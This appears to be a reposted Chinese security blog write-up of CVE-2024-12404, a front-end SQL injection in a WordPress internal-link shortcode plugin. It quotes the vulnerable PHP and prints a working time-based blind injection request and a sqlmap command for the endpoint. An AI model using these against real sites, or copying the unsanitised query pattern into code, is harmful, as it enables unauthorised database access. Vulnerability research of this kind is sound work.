WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)

admin 2025年1月28日02:46:41评论12 views字数 2034阅读6分46秒阅读模式
 

0x00 前言

CF Internal Link Shortcode是一个灵活的短代码和查找工具,用于在帖子/页面内容(或任何解析短代码的地方)创建内部链接。在文章编辑屏幕的侧边栏中添加了一个查找工具,用于查找内部文章的短代码
影响版本:<=1.1.0
WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)

0x01 漏洞分析&复现

漏洞点位于 internal-link-shortcode.php 中的cfplsc_id_lookup函数,它使用了 $_GET 来传递参数,且未加过滤就带入到了SQL查询中,导致漏洞产生.
function cfplsc_id_lookup()
{
global $wpdb;
 $title = stripslashes($_GET['post_title']);
 $wild = '%' . $title . '%';
 $posts = $wpdb->get_results("
  SELECT *
  FROM $wpdb->posts
  WHERE (
   post_title LIKE '$wild'
   OR post_name LIKE '$wild'
  )
  AND post_status = 'publish'
  ORDER BY post_title
  LIMIT 25
 ");
if (count($posts)) {
  $output = '<ul>';
foreach ($posts as $post) {
   $output .= '<li class="' . $post->ID . '" title="[' . CFPLSC_SHORTCODE . ' id='' . $post->ID . '']">' . esc_html($post->post_title) . '</li>';
  }
  $output .= '</ul>';
 } else {
  $output = '<ul><li>' . __('Sorry, no matches.', 'cf-internal-link-shortcode') . '</li></ul>';
 }
echo $output;
die();
}
而能够调用其的函数为 cfplsc_request_handler ,它被init进了全局调用中,所以只需要 GET传入 /?cf_action=cfplsc_id_lookup 即可调用其函数造成SQL注入.
function cfplsc_request_handler()
{
if (!empty($_GET['cf_action'])) {
switch ($_GET['cf_action']) {
case 'cfplsc_id_lookup':
    cfplsc_id_lookup();
break;
case 'cfplsc_admin_js':
    cfplsc_admin_js();
break;
case 'cfplsc_admin_css':
    cfplsc_admin_css();
die();
break;
  }
 }
}
add_action('init', 'cfplsc_request_handler');
Payload:
GET /?cf_action=cfplsc_id_lookup&post_title='+AND+(SELECT+5405+FROM+(SELECT(SLEEP(5)))clin)--+jFKc HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: su_webp=1; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1734956910
Connection: close
WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)
这里延时10S 是因为被传入了两次查询字句,所以延时5S * 2 为10S
SQLMAP语句:
python sqlmap.py -u "http://127.0.0.1/?cf_action=cfplsc_id_lookup&post_title=*" --level=3 --dbms=mysql
WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)

原文始发于微信公众号(星悦安全):WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日02:46:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)http://cn-sec.com/archives/3679492.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息